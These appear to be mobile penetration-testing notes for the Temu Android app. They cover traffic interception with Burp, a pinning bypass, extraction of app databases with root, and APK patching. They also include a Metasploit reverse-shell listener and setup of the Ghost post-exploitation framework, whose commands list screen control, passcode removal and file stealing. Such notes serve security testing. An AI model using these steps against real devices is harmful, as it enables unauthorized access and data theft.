Check strings.xml for hardcoded strings, databases (Firebase, etc), keys, email, phone numbers, etc.
Setup BurpSuite with Proxy listener to All interfaces and set the proxy on the device network connection (make sure BurpSuite certificate is installed)
# Create an alias for set and unset proxy
alias adbsetproxy="adb shell settings put global http_proxy $(ip -o -4 addr show eth1 | awk '{print $4}' | sed 's/\/.*//g'):8080"
alias adbunsetproxy="adb shell settings put global http_proxy :0"
# Use the created alias to set the proxy
adbsetproxy
Navigate the app. It seems certificate pinning is on.
Certificate Pinning bypassed successfully. Traffic is intercepted in BurpSuite.
Navigate the app and check the HTTP history requests.
In Jadx-GUI search for URLs (http, https), API_KEY, Coupons, etc
Check internal storage for sensitive data store in files, cache, databases, etc
adb shell
su
cd /data/data/com.einnovation.temu/
# or open Device Explorer in Android Studio
Check for databases
# e.g.
adb pull /data/data/com.einnovation.temu/databases/google_app_measurement_local.db
# if Permission Denied error use su command like this
adb -d shell "su -c cp /data/data/com.einnovation.temu/databases/google_app_measurement_local.db /sdcard/Download"
adb pull /sdcard/Download/google_app_measurement_local.db
sqlitebrowser google_app_measurement_local.db
Interaction with all the app's functions is important to further analyze the app during dynamic analysis.
Patching APK
# Usage
cd ~/repo
git clone https://github.com/NickstaDB/patch-apk.git
cd ~/repo/patch-apk
apktool empty-framework-dir --force
python3 patch-apk.py com.einnovation.temu
# In case of apktool error
mv ~/.local/share/apktool/framework/1.apk ~/.local/share/apktool/framework/1.apk.bak
# Get a proper framework apk from a device /system/framework
adb pull /system/framework/framework-res.apk
mv framework-res.apk ~/.local/share/apktool/framework/1.apk
# Re-run patck-apk
python3 patch-apk.py com.einnovation.temu
msfconsole -q
use exploit/multi/handler
set LHOST <LOCAL_HOST_IP>
set LPORT <LOCAL_PORT>
run
📌 The reverse shell may not work correctly because of Android and emulator versions or incompatibility.
The Ghost Framework
cd ~/repo
git clone https://github.com/kp-forks/ghost-1.git
cd ghost-1
sudo ./install.sh
# Run with
sudo ./ghost
To make it work on port 5555, adb should be connected via tcp to the device
# Connect device with USB
adb tcpip 5555
adb connect <DEVICE_IP>:5555
adb devices
# Disconnet device USB
# Similar to Metasploit
set RHOST <DEVICE_IP>
options
run
# Some Ghost commands
Core Commands
=============
Command Description
------- -----------
clear Clear terminal window.
exec Execute local system command.
exit Exit and close current session.
help Show available session commands.
Settings Commands
=================
Command Description
------- -----------
activity Get device activity information.
battery Get device battery information.
netstat Get device network information.
sysinfo Get device system information.
wifi Control device wifi service.
Managing Commands
=================
Command Description
------- -----------
eatpass Eat device passcode.
keyboard Control target keyboard.
openurl Open URL on device.
screen Control device screen.
screenshot Take device screenshot.
shell Open device shell.
upload Upload local file.
Stealing Commands
=================
Command Description
------- -----------
download Download remote file.
Boot Commands
=============
Command Description
------- -----------
reboot Reboot device.
After navigating and interacting with the app, Pull interesting db files and check them with , look through the database tables and structure.
tool can also be used for identifying the package name, extracting APKs, patching with objection, consolidating split APKs, enabling CA certificates, uninstalling the original app, and installing the patched version.
🔗
🔗 - Ghost Framework is an Android post-exploitation framework that exploits the Android Debug Bridge to remotely access an Android device. Ghost Framework gives you the power and convenience of remote Android device administration
